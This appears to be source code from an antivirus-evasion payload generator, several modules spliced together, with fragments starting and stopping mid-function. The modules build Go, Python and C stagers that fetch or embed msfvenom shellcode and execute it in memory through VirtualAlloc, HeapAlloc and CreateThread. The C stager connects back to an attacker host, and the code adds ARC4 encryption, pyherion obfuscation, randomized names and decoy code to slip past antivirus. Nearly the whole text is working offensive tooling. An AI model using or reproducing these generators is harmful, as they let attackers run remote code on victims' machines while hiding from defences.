%s\n}\nreturn %s, nil\n}\n" % ( addr, err, addr) payloadCode += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) payloadCode += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % ( random) payloadCode += "var %s []byte\n" % (outp) payloadCode += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) payloadCode += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % ( outp, outp, foo, random, foo) payloadCode += "return string(%s)\n}\n" % (outp) payloadCode += "func %s(%s int) string {\n" % (randTextBase64URL, length) payloadCode += "%s := []byte(%s)\n" % (foo, base64Url) payloadCode += "return %s(%s, %s)\n}\n" % (randBase, length, foo) payloadCode += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) payloadCode += "for {\n%s := 0\n%s := %s(%s)\n" % ( checksum8, uri, randTextBase64URL, length) payloadCode += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % ( value, uri, checksum8, value) payloadCode += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % ( checksum8, '%0x100', sumVar, uri) payloadCode += "func main() {\n" payloadCode += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port) payloadCode += "%s, _ := http.Get(%s + %s(92, %s))\n" % ( response, hostAndPort, getURI, uriLength) payloadCode += "defer %s.Body.Close()\n" % (response) payloadCode += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) payloadCode += "%s, _ := %s(uintptr(len(%s)))\n" % (addr, virtualAlloc, payload) payloadCode += "%s := (*[890000]byte)(unsafe.Pointer(%s))\n" % ( bufferVar, addr) payloadCode += "for %s, %s := range %s {\n" % (x, value, payload) payloadCode += "%s[%s] = %s\n}\n" % (bufferVar, x, value) payloadCode += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (addr) return payloadCode
def generate(self): if self.required_options["inject_method"][0].lower() == "virtual": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += ShellcodeVariableName + ' = bytearray(\'' + Shellcode + '\')\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(\'' + Shellcode + '\')\n' PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(' + ShellcodeVariableName + ')),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode if self.required_options["inject_method"][0].lower() == "heap": if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() HeapVar = helpers.randomString() # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += ShellcodeVariableName + ' = bytearray(\'' + Shellcode + '\')\n' PayloadCode += HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += 'ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names ShellcodeVariableName = helpers.randomString() RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() HeapVar = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # Create Payload code PayloadCode = 'import ctypes\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(\'' + Shellcode + '\')\n' PayloadCode += '\t' + HeapVar + ' = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(' + ShellcodeVariableName + ') * 2),ctypes.c_int(0))\n' PayloadCode += '\t' + RandPtr + ' = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(' + HeapVar + '),ctypes.c_int(0x00000008),ctypes.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandBuf + ' = (ctypes.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(' + RandPtr + '),' + RandBuf + ',ctypes.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(' + RandPtr + '),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n' PayloadCode += '\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(' + RandHt + '),ctypes.c_int(-1))\n' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["expire_payload"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() PayloadCode = 'from ctypes import *\n' PayloadCode += RandReverseShell + ' = \"' + Shellcode + '\"\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + RandReverseShell + ', len(' + RandReverseShell + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["expire_payload"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() PayloadCode = 'from ctypes import *\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandReverseShell + ' = \"' + Shellcode + '\"\n' PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(' + RandReverseShell + ', len(' + RandReverseShell + '))\n' PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += '\t' + RandShellcode + '()' if self.required_options["use_pyherion"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): if self.required_options["INJECT_METHOD"][0].lower() == "virtual": if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandARCKey = helpers.randomString() RandARCPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (ARCKey, iv)) = encryption.encryptARC(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += RandPtr + ' = avlol.windll.kernel32.VirtualAlloc(avlol.c_int(0),avlol.c_int(len(' + ShellcodeVariableName + ')),avlol.c_int(0x3000),avlol.c_int(0x40))\n' PayloadCode += RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'avlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += 'avlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandARCKey = helpers.randomString() RandARCPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (ARCKey, iv)) = encryption.encryptARC(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandIV + ' = \'' + iv + '\'\n' PayloadCode += '\t' + RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += '\t' + RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += '\t' + RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += '\t' + RandPtr + ' = avlol.windll.kernel32.VirtualAlloc(avlol.c_int(0),avlol.c_int(len(' + ShellcodeVariableName + ')),avlol.c_int(0x3000),avlol.c_int(0x40))\n' PayloadCode += '\t' + RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tavlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += '\tavlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode if self.required_options["INJECT_METHOD"][0].lower() == "heap": if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandARCKey = helpers.randomString() RandARCPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() HeapVar = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (ARCKey, iv)) = encryption.encryptARC(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = bytearray(' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += HeapVar + ' = avlol.windll.kernel32.HeapCreate(avlol.c_int(0x00040000),avlol.c_int(len(' + ShellcodeVariableName + ') * 2),avlol.c_int(0))\n' PayloadCode += RandPtr + ' = avlol.windll.kernel32.HeapAlloc(avlol.c_int(' + HeapVar + '),avlol.c_int(0x00000008),avlol.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += 'avlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += 'avlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandARCKey = helpers.randomString() RandARCPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() HeapVar = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (ARCKey, iv)) = encryption.encryptARC(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'import ctypes as avlol\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandIV + ' = \'' + iv + '\'\n' PayloadCode += '\t' + RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += '\t' + RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += '\t' + RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += '\t' + ShellcodeVariableName + ' = bytearray(' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\'))\n' PayloadCode += '\t' + HeapVar + ' = avlol.windll.kernel32.HeapCreate(avlol.c_int(0x00040000),avlol.c_int(len(' + ShellcodeVariableName + ') * 2),avlol.c_int(0))\n' PayloadCode += '\t' + RandPtr + ' = avlol.windll.kernel32.HeapAlloc(avlol.c_int(' + HeapVar + '),avlol.c_int(0x00000008),avlol.c_int(len( ' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandBuf + ' = (avlol.c_char * len(' + ShellcodeVariableName + ')).from_buffer(' + ShellcodeVariableName + ')\n' PayloadCode += '\tavlol.windll.kernel32.RtlMoveMemory(avlol.c_int(' + RandPtr + '),' + RandBuf + ',avlol.c_int(len(' + ShellcodeVariableName + ')))\n' PayloadCode += '\t' + RandHt + ' = avlol.windll.kernel32.CreateThread(avlol.c_int(0),avlol.c_int(0),avlol.c_int(' + RandPtr + '),avlol.c_int(0),avlol.c_int(0),avlol.pointer(avlol.c_int(0)))\n' PayloadCode += '\tavlol.windll.kernel32.WaitForSingleObject(avlol.c_int(' + RandHt + '),avlol.c_int(-1))\n' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: if self.required_options["EXPIRE_PAYLOAD"][0].lower() == "x": # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandARCKey = helpers.randomString() RandARCPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (ARCKey, iv)) = encryption.encryptARC(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'from ctypes import *\n' PayloadCode += RandIV + ' = \'' + iv + '\'\n' PayloadCode += RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += ShellcodeVariableName + ' = ' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\')\n' PayloadCode += RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode else: # Get our current date and add number of days to the date todaysdate = date.today() expiredate = str(todaysdate + timedelta( days=int(self.required_options["EXPIRE_PAYLOAD"][0]))) # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate() # Generate Random Variable Names RandPtr = helpers.randomString() RandBuf = helpers.randomString() RandHt = helpers.randomString() ShellcodeVariableName = helpers.randomString() RandIV = helpers.randomString() RandARCKey = helpers.randomString() RandARCPayload = helpers.randomString() RandEncShellCodePayload = helpers.randomString() RandShellcode = helpers.randomString() RandReverseShell = helpers.randomString() RandMemoryShell = helpers.randomString() RandToday = helpers.randomString() RandExpire = helpers.randomString() # encrypt the shellcode and get our randomized key/iv (EncShellCode, (ARCKey, iv)) = encryption.encryptARC(Shellcode) PayloadCode = 'from Crypto.Cipher import ARC4\n' PayloadCode += 'from ctypes import *\n' PayloadCode += 'from datetime import datetime\n' PayloadCode += 'from datetime import date\n\n' PayloadCode += RandToday + ' = datetime.now()\n' PayloadCode += RandExpire + ' = datetime.strptime(\"' + expiredate[ 2:] + '\",\"%y-%m-%d\") \n' PayloadCode += 'if ' + RandToday + ' < ' + RandExpire + ':\n' PayloadCode += '\t' + RandIV + ' = \'' + iv + '\'\n' PayloadCode += '\t' + RandARCKey + ' = \'' + ARCKey + '\'\n' PayloadCode += '\t' + RandARCPayload + ' = ARC4.new(' + RandARCKey + ')\n' PayloadCode += '\t' + RandEncShellCodePayload + ' = \'' + EncShellCode.encode( "string_escape") + '\'\n' PayloadCode += '\t' + ShellcodeVariableName + ' = ' + RandARCPayload + '.decrypt(' + RandEncShellCodePayload + ').decode(\'string_escape\')\n' PayloadCode += '\t' + RandMemoryShell + ' = create_string_buffer(' + ShellcodeVariableName + ', len(' + ShellcodeVariableName + '))\n' PayloadCode += '\t' + RandShellcode + ' = cast(' + RandMemoryShell + ', CFUNCTYPE(c_void_p))\n' PayloadCode += '\t' + RandShellcode + '()' if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) return PayloadCode
def generate(self): sumvalue_name = helpers.randomString() checksum_name = helpers.randomString() winsock_init_name = helpers.randomString() punt_name = helpers.randomString() wsconnect_name = helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = helpers.randomString() # reverse() randName2 = helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = helpers.randomString(50) randName1 = helpers.randomString() randVar1 = helpers.randomString() randName2 = helpers.randomString() randVar2 = helpers.randomString() randVar3 = helpers.randomString() randName3 = helpers.randomString() randVar4 = helpers.randomString() randVar5 = helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>"] t = random.randint(1,7) for x in xrange(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #real - service related headers (check the stub) hStatusName = helpers.randomString() serviceHeaders = ["SERVICE_STATUS ServiceStatus;","SERVICE_STATUS_HANDLE %s;" %(hStatusName), "void ServiceMain(int argc, char** argv);", "void ControlHandler(DWORD request);"] random.shuffle(serviceHeaders) code += "\n".join(serviceHeaders) #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the sumValue function string_arg_name = helpers.randomString() retval_name = helpers.randomString() code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name) code += "int %s=0; int i;" %(retval_name) code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name) code += "return (%s %% 256);}\n" %(retval_name) # build the winsock_init function wVersionRequested_name = helpers.randomString() wsaData_name = helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = helpers.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build the reverse_http uri checksum function randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62)) characters_name = helpers.randomString() string_var_name = helpers.randomString() code += "char* %s(){" %(checksum_name) code += "srand (time(NULL));int i;" code += "char %s[] = \"%s\";" %(characters_name, randchars) code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name) code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name) code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name) code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = helpers.randomString() sock_name = helpers.randomString() my_socket_name = helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # real - main() method for the service code serviceName = helpers.randomString() code += "void main() { SERVICE_TABLE_ENTRY ServiceTable[2];" serviceTableEntries = [ "ServiceTable[0].lpServiceName = \"%s\";" 